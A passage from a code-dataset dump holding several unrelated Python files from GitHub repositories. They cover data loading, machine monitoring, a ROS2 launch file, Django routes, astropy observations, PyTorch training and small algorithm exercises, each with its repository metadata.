open('news_df.dms', 'rb') as f:\n        news = pd.read_csv(f)\n    print(len(news))\n    download_market = timer()\n    print(download_market - start, ' seconds for market csv')\n    with open('market_df.dms', 'rb') as f:\n        market = pd.read_csv(f)\n    print(len(market))\n    download_cvs = timer()\n    print(download_cvs - start, ' seconds for all csv')\n\n    with open('input_market_data', 'rb') as f:\n        market = pickle.load(f)  # type: pd.DataFrame\n    download_pkl_market = timer()\n    print(download_pkl_market - download_cvs, ' seconds for pkl market')\n    with open('input_news_data_1', 'rb') as f:\n        f1 = pickle.load(f)  # type: pd.DataFrame\n    download_pkl_news_1 = timer()\n    print(download_pkl_market - download_pkl_news_1,\n          ' seconds for pkl news 1')\n    with open('input_news_data_2', 'rb') as f:\n        f2 = pickle.load(f)  # type: pd.DataFrame\n    download_pkl_news_2 = timer()\n    print(download_pkl_news_2 - download_pkl_news_1,\n          ' seconds for pkl news 2')\n\n    news = f1.append(f2,ignore_index=True)\n    download_concat = timer()\n    print(download_pkl_news_2 - download_concat, ' seconds for all news')\n\n\nif __name__ == '__main__':\n\n    dict_vol = {}\n    news_cols_agg = {\n        'urgency':           ['min', 'max', 'std'],\n        'companyCount':      ['min', 'max', 'mean', 'std'],\n        'sentimentNegative': ['min', 'max', 'mean', 'std'],\n        'sentimentNeutral':  ['min', 'max', 'mean', 'std'],\n        'sentimentPositive': ['min', 'max', 'mean', 'std'],\n        }\n\n    # columns\n    RETURN_10_NEXT = 'returnsOpenNextMktres10'\n    TIME = 'time'\n    ASSET = 'assetCode'\n    UNIVERSE = 'universe'\n    GROUP_COLS = [TIME, RETURN_10_NEXT, ASSET, UNIVERSE, 'assetName']\n\n    NEWS_COL = [TIME, ASSET] + list(news_cols_agg)\n    with open('input_news_data_2', 'rb') as f:\n        news = pickle.load(f)  # type: pd.DataFrame\n    news.loc[:, TIME] = pd.to_datetime(\n            news[TIME]\n            ).dt.strftime(\"%Y%m%d\").astype(int)\n    news[ASSET] = news['assetCodes'].map(\n            lambda x: list(eval(x))[0])\n\n    news = news[ASSET].apply(pd.Series) \\\n        .merge(news, right_index=True, left_index=True) \\\n        .melt(id_vars=NEWS_COL, value_name=\"ingredient\") \\\n        .dropna()\n    print(news)\n","repo_name":"lightning-like/two_sigma_kaggle","sub_path":"all/env_for_test.py","file_name":"env_for_test.py","file_ext":"py","file_size_in_byte":5209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"12452226674","text":"import argparse\nimport datetime as dt\nimport json\nimport os\n\n\nimport ct_gatherer\nimport ct_lock\nimport ct_logger\n\n\ndef main(flags):\n    machine_data = []\n    # Keep track of failures as we go and notify at the end. Don't want to fail\n    # to provide any data due to one bad machine.\n    failures = []\n    for system in flags.systems:\n        machine_data.append({\"name\": system})\n        for plugin in ct_gatherer.get_plugins():\n            try:\n                machine_data[-1][plugin] = ct_gatherer.gather(plugin, system)\n            except Exception:\n                ct_logger.log(\n                    f\"Failed to gather machine_data for {system}\",\n                    level=0,\n                )\n                failures.append(f\"{plugin}:{system}\")\n    if failures:\n        ct_logger.log(\"web data choked on:\", \", \".join(failures))\n    # Might want to add additional categories of data later. Also, Flask\n    # prefers to format dicts over lists\n    data = {\n        \"machines\": machine_data,\n        \"gatherer\": {\n            \"timestamp\": dt.datetime.now(dt.timezone.utc).timestamp()\n        }\n    }\n    if flags.debug:\n        print(json.dumps(data, indent=4, sort_keys=True))\n    else:\n        dump_web_data(data)\n    return\n\n\ndef dump_web_data(data):\n    out_dir = \"/root/ct-data/web-data/\"\n    os.makedirs(out_dir, exist_ok=True)\n    timestamp = dt.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n    try:\n        for filename in [\"latest.json\", f\"{timestamp}.json\"]:\n            print(\"wrote\", filename)\n            with open(os.path.join(out_dir, filename), \"w\") as handle:\n                json.dump(data, handle, indent=4, sort_keys=True)\n    except Exception:\n        ct_logger.log(\n            f\"dump_web_data: Failure for {filename}\",\n            level=0,\n        )\n    return\n\n\ndef get_flags():\n    parser = argparse.ArgumentParser(\n        description=\"gather data for the CT web API\"\n    )\n    parser.add_argument(\n        \"systems\",\n        nargs=\"*\",\n        help=\"only scrape data for these systems\",\n        default=get_systems(),\n    )\n    parser.add_argument(\n        \"--debug\",\n        action=\"store_true\",\n        help=\"write to stdout, enable verbose logging\",\n    )\n    flags = parser.parse_args()\n    if flags.debug:\n        ct_logger.set_verbosity(1)\n    return flags\n\n\ndef get_systems():\n    with open(\"/usr/etc/machines.json\", \"r\") as handle:\n        return json.load(handle)\n\n\nif __name__ == \"__main__\":\n    # Make sure we enable verbose logging before locking, if applicable\n    flags = get_flags()\n    name = \"ct-gather-web-data\"\n    with ct_lock.Lock(name):\n        main(flags)\n","repo_name":"ps895r/samples","sub_path":"samples/ct-gather-web-data.py","file_name":"ct-gather-web-data.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2512910777","text":"import networkx as nx\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\ndef mostrarGrafo():\n\n    pilotos_bruto = pd.read_csv('drivers.csv')\n\n    # Gerando grafo\n    brasileiros = pilotos_bruto.query(\"nationality == 'Brazilian'\")\n    sobrenomes = list(brasileiros['surname'])\n    grafo = nx.Graph()\n    for sobrenome in sobrenomes:\n        grafo.add_node(sobrenome)\n    for sobrenome in sobrenomes:\n        grafo.add_edge('Time Brasil', sobrenome)\n\n    pos = nx.spring_layout(grafo, seed=1)\n    nx.draw(grafo, with_labels = True)\n    plt.savefig(\"grafo.png\")\n\n    im = Image.open(r\"grafo.png\") \n    im.show()","repo_name":"projeto-de-algoritmos/Final_Dupla24","sub_path":"grafo.py","file_name":"grafo.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21845631424","text":"def ingresar_notas():\r\n    notas = []\r\n    for i in range(8):\r\n        nota = float(input(\"Ingrese la nota del alumno: \"))\r\n        notas.append(nota)\r\n    return notas\r\n\r\ndef calcular_promedio(notas):\r\n    notas.sort(reverse=True)\r\n    mejores_notas = notas[:6]\r\n    promedio = sum(mejores_notas) / len(mejores_notas)\r\n    return promedio\r\n\r\nnotas_alumno = ingresar_notas()\r\npromedio = calcular_promedio(notas_alumno)\r\nprint(\"El promedio de las 6 mejores notas es:\", promedio)\r\n","repo_name":"FelixGrabiel/pc2","sub_path":"pc2/tallere/Ejercicio_notas.py","file_name":"Ejercicio_notas.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41789425929","text":"from matplotlib.ticker import FuncFormatter\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_bar(x, y, title):\n    x_steps = np.arange(len(x))\n    fig, ax = plt.subplots()\n    plt.bar(x_steps, y)\n    plt.title(title)\n    plt.xticks(x_steps, tuple(x))\n    plt.show()\n","repo_name":"gregorybchris/tsa","sub_path":"wrangling/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72819671871","text":"import sys\nimport json\nimport requests\n\nurl = \"https://jsonplaceholder.typicode.com/users/{}\".format(sys.argv[1])\n\nuser = requests.get(url).json()\ntodos = requests.get(url + \"/todos\").json()\n\nuser_id = user[\"id\"]\nusername = user[\"username\"]\n\npayload = {\n    user_id: [\n        {\"task\": task[\"title\"], \"completed\": task[\"completed\"], \"username\": username}\n        for task in todos\n    ]\n}\nimport pprint\n\npprint.pprint(payload)\n\nwith open(\"{}.json\".format(user_id), \"w\") as f:\n    json.dump(payload, f)\n","repo_name":"danny-ell77/alx-system_engineering-devops","sub_path":"0x15-api/2-export_to_JSON.py","file_name":"2-export_to_JSON.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10729211809","text":"from ament_index_python import get_package_share_path\nfrom launch import LaunchDescription\nfrom launch_ros.actions import Node\n\nfrom launch.actions import (\n    IncludeLaunchDescription,\n    OpaqueFunction,\n    DeclareLaunchArgument,\n)\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\nfrom launch.substitutions import LaunchConfiguration\n\n\ndef launch_setup(context):\n    unity_sim = LaunchConfiguration(\"unity_sim\").perform(context).lower() == \"true\"\n    drivers = LaunchConfiguration(\"drivers\").perform(context).lower() == \"true\"\n    rviz = LaunchConfiguration(\"rviz\").perform(context).lower() == \"true\"\n    rgbd_ids = LaunchConfiguration(\"rgbd_ids\").perform(context)\n\n    if unity_sim and drivers:\n        raise RuntimeError(\n            \"Cannot launch with both physical drivers and Unity simulation.\"\n        )\n\n    description = []\n\n    if unity_sim:\n        description += [\n            IncludeLaunchDescription(\n                PythonLaunchDescriptionSource(\n                    str(\n                        get_package_share_path(\"unity_sim\")\n                        / \"launch\"\n                        / \"unity_sim.launch.py\"\n                    )\n                ),\n            ),\n        ]\n\n    if drivers:\n        description += [\n            IncludeLaunchDescription(\n                PythonLaunchDescriptionSource(\n                    str(\n                        get_package_share_path(\"kalman_drivers\")\n                        / \"launch\"\n                        / \"drivers.launch.py\"\n                    )\n                ),\n                launch_arguments={\"rgbd_ids\": rgbd_ids}.items(),\n            ),\n        ]\n\n    if rviz:\n        description += [\n            IncludeLaunchDescription(\n                PythonLaunchDescriptionSource(\n                    str(\n                        get_package_share_path(\"kalman_bringup\")\n                        / \"launch\"\n                        / \"rviz.launch.py\"\n                    )\n                ),\n            ),\n        ]\n\n    description += [\n        # -----\n        # stack\n        # -----\n        # robot structure TF publisher\n        IncludeLaunchDescription(\n            PythonLaunchDescriptionSource(\n                str(\n                    get_package_share_path(\"kalman_description\")\n                    / \"launch\"\n                    / \"robot_state_publisher.launch.py\"\n                )\n            ),\n        ),\n        # SLAM\n        IncludeLaunchDescription(\n            PythonLaunchDescriptionSource(\n                str(get_package_share_path(\"kalman_slam\") / \"launch\" / \"slam.launch.py\")\n            ),\n            launch_arguments={\"rgbd_ids\": rgbd_ids}.items(),\n        ),\n        # Nav2 stack + path follower\n        IncludeLaunchDescription(\n            PythonLaunchDescriptionSource(\n                str(get_package_share_path(\"kalman_nav2\") / \"launch\" / \"nav2.launch.py\")\n            ),\n            launch_arguments={\"rgbd_ids\": rgbd_ids}.items(),\n        ),\n        # wheel controller\n        Node(\n            package=\"kalman_wheel_controller\",\n            executable=\"wheel_controller\",\n            parameters=[\n                {\n                    \"robot_radius\": 0.5,\n                }\n            ],\n        ),\n    ]\n\n    return description\n\n\ndef generate_launch_description():\n    return LaunchDescription(\n        [\n            DeclareLaunchArgument(\n                \"unity_sim\",\n                default_value=\"false\",\n                description=\"Start up the Unity simulator with virtual sensors and actuators.\",\n            ),\n            DeclareLaunchArgument(\n                \"drivers\",\n                default_value=\"false\",\n                description=\"Launch with physical sensors and actuators.\",\n            ),\n            DeclareLaunchArgument(\n                \"rviz\",\n                default_value=\"false\",\n                description=\"Launch RViz.\",\n            ),\n            DeclareLaunchArgument(\n                \"rgbd_ids\",\n                default_value=\"d455_front d455_back d455_left d455_right\",\n                description=\"Space-separated IDs of the depth cameras to use.\",\n            ),\n            OpaqueFunction(function=launch_setup),\n        ]\n    )\n","repo_name":"agh-space-systems-rover/kalman_robot","sub_path":"kalman_bringup/launch/kalman.launch.py","file_name":"kalman.launch.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41031529190","text":"from django.urls import path, re_path\nfrom . import views\n\nurlpatterns = [\n    path('', views.recup_wos, name='news_home'),\n    path('othet1/', views.othet, name='othet1'),\n    path('othet1/<date1>/<date2>/', views.othet1, name='othet11'),\n\n\n\n]\n","repo_name":"fedakov2019/website2","sub_path":"website/prime/news/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34752012106","text":"from typing import ClassVar\nimport astropy.coordinates as coords \nimport astropy.time as Time\nimport astropy.units as u\nimport os\n\nclass Observation:\n\n    def __init__(self, object_name, time, time_format, duration, frequency) -> None:\n        self.name = object_name \n        self.time = Time.Time(time, format=time_format)\n\n        if self.name in coords.solar_system_ephemeris.bodies:\n            self.coords = coords.get_body(self.name, self.time)\n        elif self.name == 'moon':\n            self.coords = coords.get_moon(self.time)\n        elif self.name == 'sun':\n            self.coords = coords.get_sun(self.time)\n        else:\n            try:\n                self.coords = coords.get_icrs_coordinates(self.name)\n            except coords.name_resolve.NameResolveError:\n                print('I could not find that object...')\n                print('Please manually set coordinates')\n\n        self.duration = duration * u.second\n        self.frequency = frequency * u.MHz\n\n    def __str__(self):\n        return 'Target: {}\\n'.format(self.name) + \\\n        'Time: {}\\n'.format(self.time) + \\\n        'Coordinates (radians):\\n\\n' + \\\n        'RA: {}\\n'.format(self.coords.ra.rad) + \\\n        'Dec: {}\\n\\n'.format(self.coords.dec.rad) + \\\n        'Duration: {}\\n'.format(self.duration) + \\\n        'Frequency: {}\\n'.format(self.frequency)\n\n    def run_dreambeam(self, command, telescope, configuration, station, beam_model, step, frequency):\n        os.system(\"mkdir {}\".format(self.name+self.time.value))\n        bashcmd = \"pointing_jones {} {} {} {} {} {} {} {} {} {} {} > {}\".format(command, \n        telescope, configuration, station, beam_model, self.time.value[:-4], self.duration.value,\n        step, self.coords.ra.rad, self.coords.dec.rad, frequency, self.name+self.time.value+'/'+str(frequency/1.e6)+'MHz_jones_matrices.dat')\n        print(bashcmd)\n        os.system(bashcmd)","repo_name":"ofionnad/ilofar_func","sub_path":"observation.py","file_name":"observation.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44644495090","text":"import torch\nimport torchvision\nimport torch.nn as nn\nfrom torch.optim import lr_scheduler\nfrom torchvision import datasets, transforms, models\nfrom torch import optim\nimport numpy as np\nimport time\nimport copy\nfrom collections import OrderedDict\nimport torch.nn.functional as F\nimport argparse\nimport json\n\ndef main():\n    \n    parser = argparse.ArgumentParser()\n    parser.add_argument('data_directory',type=str, help=\"the main flowers data folder containing images e.g.'flowers'\")\n    parser.add_argument('--arch',default=\"densenet161\",type=str, help=\"the CNN model to use, defaults to densenet161\")\n    parser.add_argument('--learning_rate', type=float, default=0.001, help=\"the optimizer learning rate, defaults to 0.001\")\n    parser.add_argument('--hidden_layers', type=int, default=1024, help=\"number of hidden layers, defaults to 1024\")\n    parser.add_argument('--epochs', type=int, default=10, help=\"number of epochs, defaults to 10\")\n    parser.add_argument('--gpu', type=bool, default=True, help=\"indicates if the model should run on GPU\")\n    parser.add_argument('--save_directory',type=str, default=\"ModelCheckpoint\", help=\"the folder where the checkpoint will be saved to, default to ModelCheckpoint\")\n    args = parser.parse_args()\n    print(args)\n    \n    train_dir = args.data_directory + '/train'\n    valid_dir = args.data_directory + '/valid'\n    test_dir = args.data_directory + '/test'\n\n    # Create a dictionary for the transforms, resize to 255 so the shortest side has length of 255px\n    # then center crop the image to 224px.\n    # Covert images to numbers with transforms.ToTensor().\n    mean = [0.485, 0.456, 0.406]\n    std = [0.229, 0.224, 0.225]\n\n    data_transforms = {\n        \"train\": transforms.Compose([\n            transforms.Resize(255),\n            transforms.RandomResizedCrop(224),\n            transforms.RandomHorizontalFlip(),\n            transforms.ColorJitter(),\n            transforms.ToTensor(),\n            transforms.Normalize(mean, std)\n        ]),\n        \"valid\": transforms.Compose([\n            transforms.Resize(255),\n            transforms.CenterCrop(224),\n            transforms.ToTensor(),\n            transforms.Normalize(mean, std)\n        ]),\n        \"test\": transforms.Compose([\n            transforms.Resize(255),\n            transforms.CenterCrop(224),\n            transforms.ToTensor(),\n            transforms.Normalize(mean, std)\n        ]),\n    }\n    \n    # Load the datasets with ImageFolder\n    image_datasets = {\n        \"train\": datasets.ImageFolder(train_dir, transform=data_transforms[\"train\"]),\n        \"valid\": datasets.ImageFolder(valid_dir, transform=data_transforms[\"valid\"]),\n        \"test\": datasets.ImageFolder(test_dir, transform=data_transforms[\"test\"]),\n    }\n\n    # Using the image datasets and the trainforms, define the dataloaders\n    dataloaders = {\n        \"train\": torch.utils.data.DataLoader(image_datasets[\"train\"], batch_size=64, shuffle=True),\n        \"valid\": torch.utils.data.DataLoader(image_datasets[\"valid\"], batch_size=64, shuffle=True),\n        \"test\": torch.utils.data.DataLoader(image_datasets[\"test\"], batch_size=64, shuffle=True),\n    }\n    \n    dataset_sizes = {x: len(image_datasets[x]) for x in ['train', 'valid']}\n\n    with open('cat_to_name.json', 'r') as f:\n        cat_to_name = json.load(f)\n        \n    if(args.gpu):\n        # Find the device available to use using torch library\n        device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    else:\n        device = torch.device(\"cpu\")\n\n    # Create the model\n    model, criterion, optimizer, scheduler = create_model(args.hidden_layers, args.arch, args.learning_rate)\n\n    # Move model to the device specified above\n    model.to(device)\n\n    # Train the model\n    model = train_model(model, criterion, optimizer, scheduler, dataloaders, device, dataset_sizes, args.epochs)\n    \n    # Save checkpoint\n    save_checkpoint(model, model.classifier, scheduler, optimizer, args.epochs, image_datasets,  args.save_directory)\n\ndef create_model(hidden_layers=1024, arch=\"densenet161\", learning_rate=0.001):\n   \n    input_size = 0\n    optimizer = None\n    # Load a pre-trained densenet network\n    if(arch == \"densenet161\"):\n        model = models.densenet161(pretrained=True)\n        input_size = 2208\n    elif (arch == \"resnet18\"):\n        model = models.resnet18(pretrained=True)\n        input_size = 512\n    else:      \n        return\n\n    for param in model.parameters():\n        param.requires_grad = False\n\n    # Define a new, untrained feed-forward network as a classifier, using ReLU activations and dropout\n    classifier = nn.Sequential(OrderedDict([\n        ('fc1', nn.Linear(input_size, hidden_layers)),\n        ('relu', nn.ReLU()),\n        ('dropout', nn.Dropout(0.2)),\n        ('fc2', nn.Linear(hidden_layers, 102)),\n        ('output', nn.LogSoftmax(dim=1))\n    ]))\n    \n    if arch == 'densenet161':\n        model.classifier = classifier\n        optimizer = optim.Adam(model.classifier.parameters(), learning_rate)\n    elif arch == 'resnet18':\n        model.fc = classifier\n        optimizer = optim.Adam(model.fc.parameters(), learning_rate)\n   \n    criterion = nn.NLLLoss()  \n    scheduler = lr_scheduler.StepLR(optimizer, step_size=7, gamma=0.1)\n    \n    return model, criterion, optimizer, scheduler\n\n\n# train_model function based on :  https://pytorch.org/tutorials/beginner/transfer_learning_tutorial.htm - accessed 03-Jun-2020\n# All sample code has been thoroughly understood.\n# Train the classifier layers using backpropagation using the pre-trained network to get the features.\ndef train_model(model, criterion, optimizer, scheduler, dataloaders, device, dataset_sizes, epochs=10):\n     \n    since = time.time()\n\n    best_model_wts = copy.deepcopy(model.state_dict())\n    best_acc = 0.0\n\n    for epoch in range(epochs):\n        print('Epoch {}/{}'.format(epoch, epochs - 1))\n        print('-' * 10)\n\n        # Each epoch has a training and validation phase\n        for phase in ['train', 'valid']:\n\n            print(phase)\n\n            if phase == 'train':\n                model.train()  # Set model to training mode\n            else:\n                model.eval()  # Set model to evaluate mode\n\n            running_loss = 0.0\n            running_corrects = 0\n\n            # Iterate over data.\n            for inputs, labels in dataloaders[phase]:\n                inputs = inputs.to(device)\n                labels = labels.to(device)\n\n                # zero the parameter gradients\n                optimizer.zero_grad()\n\n                # forward\n                # track history if only in train\n                with torch.set_grad_enabled(phase == 'train'):\n                    outputs = model(inputs)\n                    _, preds = torch.max(outputs, 1)\n                    loss = criterion(outputs, labels)\n\n                    # backward + optimize only if in training phase\n                    if phase == 'train':\n                        loss.backward()\n                        optimizer.step()\n\n                # statistics\n                running_loss += loss.item() * inputs.size(0)\n                running_corrects += torch.sum(preds == labels.data)\n\n            if phase == 'train':\n                scheduler.step()\n\n            # Track the loss and accuracy on the validation set to determine the best hyperparameters\n            epoch_loss = running_loss / dataset_sizes[phase]\n            epoch_acc = running_corrects.double() / dataset_sizes[phase]\n\n            print('{} Loss: {:.4f} Acc: {:.4f}'.format(phase, epoch_loss, epoch_acc))\n\n            # deep copy the model\n            if phase == 'valid' and epoch_acc > best_acc:\n                best_acc = epoch_acc\n                best_model_wts = copy.deepcopy(model.state_dict())\n\n        print()\n\n    time_elapsed = time.time() - since\n    print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n    print('Best val Acc: {:4f}'.format(best_acc))\n\n    # load best model weights\n    model.load_state_dict(best_model_wts)\n    return model\n\ndef save_checkpoint(model, classifier, scheduler, optimizer, epochs, image_datasets, save_dir=\"ModelCheckpoint\"):\n    \n    # Save the checkpoint \n    model.class_to_idx = image_datasets['train'].class_to_idx\n    checkpoint = {'input_size': 2208,            \n                  'output_size': 102,\n                  'epochs': epochs,\n                  'batch_size': 64,\n                  'model': models.densenet161(pretrained=True),\n                  'classifier': classifier,\n                  'scheduler': scheduler,\n                  'optimizer': optimizer.state_dict(),\n                  'state_dict': model.state_dict(),\n                  'class_to_idx': model.class_to_idx\n                 }\n    \n    torch.save(checkpoint, save_dir + \"/\" + \"checkpoint.pth\")\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"grantvt-gh/flower-classifier","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8159723900","text":"def solution(arr):\n    if len(arr) == 1:\n        return 1\n    \n    res = [1]*len(arr)\n\n    for i in range(1,len(arr)):\n        for j in range(i):\n            if arr[i]>arr[j] and res[i]<=res[j]:\n                res[i] = res[j] + 1\n\n    return max(res)\n\nprint(solution([5,2,3,7,1,0,9]))\n\n\n","repo_name":"fairygirl1/alcorithms","sub_path":"exam_issues/dp_наиб_возраст_последовательность.py","file_name":"dp_наиб_возраст_последовательность.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41025414816","text":"from collections import deque\nimport sys\n\nN, K = map(int, sys.stdin.readline().split())\nres = []\ndq = deque([i for i in range(1, N+1)])\n\nwhile len(dq) != 0:\n    for _ in range(K-1):\n        dq.append(dq.popleft())\n    res.append(dq.popleft())\n\nprint('<', end='')\nfor i in range(len(res) - 1):\n    print(\"%d, \"%res[i], end='')\nprint(res[-1], end='')\nprint('>', end='')\n\n\n\n","repo_name":"leelife96/Python-Algorithm","sub_path":"BAEKJOON/Silver/11866_요세푸스 문제 0/요세푸스 문제 0.py","file_name":"요세푸스 문제 0.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31610121535","text":"#!/usr/bin/env python\n\nfrom magi.daemon.processInterface import AgentMessenger\nfrom magi.messaging.transportPipe import InputPipe, OutputPipe\nfrom magi.messaging.transportTCP import TCPTransport\nfrom magi.util import config, helpers\nimport logging\nimport os\nimport sys\nimport yaml\n\nlog = logging.getLogger(__name__)\n\ndef initializeProcessAgent(agent, argv):\n    '''argv is assumed to have the following format. (This is usually set by the\n    Magi daemon):\n\n        agent_name agent_dock execute=[pipe|socket] (logfile=path)\n\n    Where agent_name and agent_dock are strings and the key in the key=value\n    pairs is literally the key given. The value may be restricted.\n    '''\n    if len(argv) < 3:\n        log.critical('command line must start with name and dock')\n        sys.exit(2)\n\n    agent.name, dock, nodeConfigFile, experimentConfigFile = argv[1:5]\n    args = argv_to_dict(argv[5:])\n    \n    config.loadNodeConfig(nodeConfigFile, experimentConfigFile)\n    \n    setAttributes(agent, {'hostname' : config.getNodeName(), \n                          'execute' : 'socket', \n                          'logfile' : os.path.join(config.getLogDir(), agent.name + '.log'), \n                          'loglevel': 'DEBUG', \n                          'commHost': 'localhost', \n                          'commPort': config.getConfig()['localInfo'].get('processAgentsCommPort', 18809), \n                          'commGroup': None}, \n                  args)\n    \n    agent.docklist.add(dock)\n    \n    helpers.makeDir(os.path.dirname(agent.logfile))\n                        \n    handler = logging.FileHandler(agent.logfile, 'w')\n    handler.setFormatter(logging.Formatter(helpers.LOG_FORMAT_MSECS, helpers.LOG_DATEFMT))\n    root = logging.getLogger()\n    root.setLevel(helpers.logLevels.get(agent.loglevel.lower(), logging.INFO))\n    root.handlers = []\n    root.addHandler(handler)\n\n    log.info('argv: %s', argv)\n    log.info('agent attributes: %s', agent.__dict__)\n    \n    log.info(\"Setting up agent messaging interface\")\n    inTransport, outTransport = _getIOHandles(agent)\n    agent.messenger = AgentMessenger(inTransport, outTransport, agent)\n    agent.messenger.start()\n    log.info(\"Agent messaging interface initialized and running\")\n\n    # Tell the daemon we want to listen on the dock. \n    # GTL - why doesn't the Daemon just associate the dock\n    # with this process?\n    agent.messenger.listenDock(dock)\n    \n    if agent.commGroup:\n        agent.messenger.joinGroup(agent.commGroup)\n        #TODO: In ideal condition wait from the node to join group before proceeding further\n\n    # now that we're connected, send an AgentLoaded message. \n    agent.messenger.trigger(event='AgentLoadDone', agent=agent.name, nodes=[agent.hostname])\n    \n    return args\n\ndef argv_to_dict(argv):\n    '''Look for key=value pairs and convert them to a dictionary. \n    The set values are always strings. If you want a non-string type, \n    you must coerse it yourself after calling this function.'''\n    result = dict()\n    for arg in argv:\n        words = arg.split('=')\n        if len(words) == 2:\n            log.debug('found key=value on command line.')\n            result[words[0]] = yaml.load(words[1])\n    return result\n                \ndef _getIOHandles(agent):\n\n    log.debug(\"Transport type: %s\", agent.execute)\n    \n    if agent.execute == 'pipe':\n        return InputPipe(fileobj=sys.stdin), OutputPipe(fileobj=sys.stdout)\n    \n    elif agent.execute == 'socket':\n        log.debug(\"Connecting to %s:%d\", agent.commHost, agent.commPort)\n        transport = TCPTransport(address=agent.commHost, port=agent.commPort)\n        return transport, transport\n    \n    else:\n        log.critical('unknown execute mode: %s. Unable to continue.')\n        sys.exit(3)\n\ndef setAttributes(obj, defaultArgs, args):\n    for name, defaultValue in defaultArgs.iteritems():\n        setattr(obj, name, args.get(name, defaultValue))\n        \n","repo_name":"deter-project/magi","sub_path":"magi/util/processAgent.py","file_name":"processAgent.py","file_ext":"py","file_size_in_byte":3921,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"27090770899","text":"from django import forms\n\nfrom punchTaskApp.tasks.models import Task\n\nclass TaskForm(forms.ModelForm):\n    class Meta:\n        model = Task\n        fields = ('product', 'desc',)\n        widgets = {\n            'name': forms.TextInput(\n                attrs={\n                    'placeholder':'Task name',\n                    'class':'col-md-12 form-control'\n                }\n            ),\n            'desc': forms.Textarea(\n                attrs={\n                    'placeholder':'Enter a description',\n                    'class':'form-control'\n                }\n            ),\n        }\n","repo_name":"thecylax/punchTask_back","sub_path":"punchTaskApp/tasks/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32067171365","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 24 16:33:32 2021\r\n\r\n@author: Bernardo\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom fcm import fcm\r\nfrom fcmfp import fcmfp\r\nfrom gg import gg\r\nfrom ggfp import ggfp\r\nfrom sklearn import datasets\r\nfrom sklearn.metrics.cluster import adjusted_rand_score\r\nfrom rand_index import rand_index_score\r\nimport sys\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import wilcoxon\r\n\r\nnRuns=30\r\n\r\nnClusters=7\r\n\r\ndataset='bearing'     \r\n\r\n\r\ndef load_data(dataset):\r\n    \r\n    if dataset=='iris':\r\n        \"Iris data\"\r\n        iris = datasets.load_iris()\r\n        data = iris.data \r\n\r\n        label_iris = iris.target\r\n        label_gt=label_iris\r\n        \r\n    elif dataset=='bearing':\r\n                \r\n        \"Bearing data\"\r\n        data = pd.read_csv(\"bearingdata.csv\",header=None)        \r\n        data=data.to_numpy()\r\n        \r\n        label_bearing = pd.read_csv(\"bearingdata_label.csv\", header=None)\r\n        label_bearing=label_bearing.to_numpy().T\r\n        label_bearing=label_bearing.reshape(len(label_bearing))\r\n        \r\n        label_gt=label_bearing #ground truth label\r\n\r\n    return data , label_gt\r\n\r\n\r\n\r\n#generate seed for random numbers\r\nrng = np.random.default_rng() #use np.random.default_rng() for random sequence\r\n\r\ndef labelData(u):\r\n    #Find clustering results\r\n    clustering = u.argmax(axis=0)\r\n   \r\n    return clustering\r\n#Load the data and the gt label\r\ndata, label_gt =load_data(dataset)\r\n# Number of samples\r\nn = len(data)  # the number of row\r\nd = len(data[0]) #number of features/attributes\r\n\r\n\r\n\"Define Focal point\"\r\n#P=5*np.array([1, 1, 1]).reshape((1, 3))      #for the simple dataset\r\n#P=np.array([1, 1, 1, 1, 1]).reshape((1, 5))  #for the iris dataset\r\n\r\n#focal point using mean of data\r\ndatamean=np.array(np.mean(data,axis=0))\r\nPvalue=np.array([10])\r\nP=np.append(datamean,Pvalue,axis=0)\r\nP=np.reshape(P,(1,d+1))\r\n\r\n\r\nw=np.shape(P)[1]     #nº of columns : dimension of P\r\n\r\n\r\n\"#Run FCM\"\r\nRI_fcm=np.zeros((nRuns))\r\nARI_fcm=np.zeros((nRuns))\r\n\r\nfor i in range(nRuns):\r\n    data, label_gt =load_data(dataset)\r\n    # Number of samples\r\n    n = len(data)  # the number of row\r\n    d = len(data[0]) #number of features/attributes\r\n    # 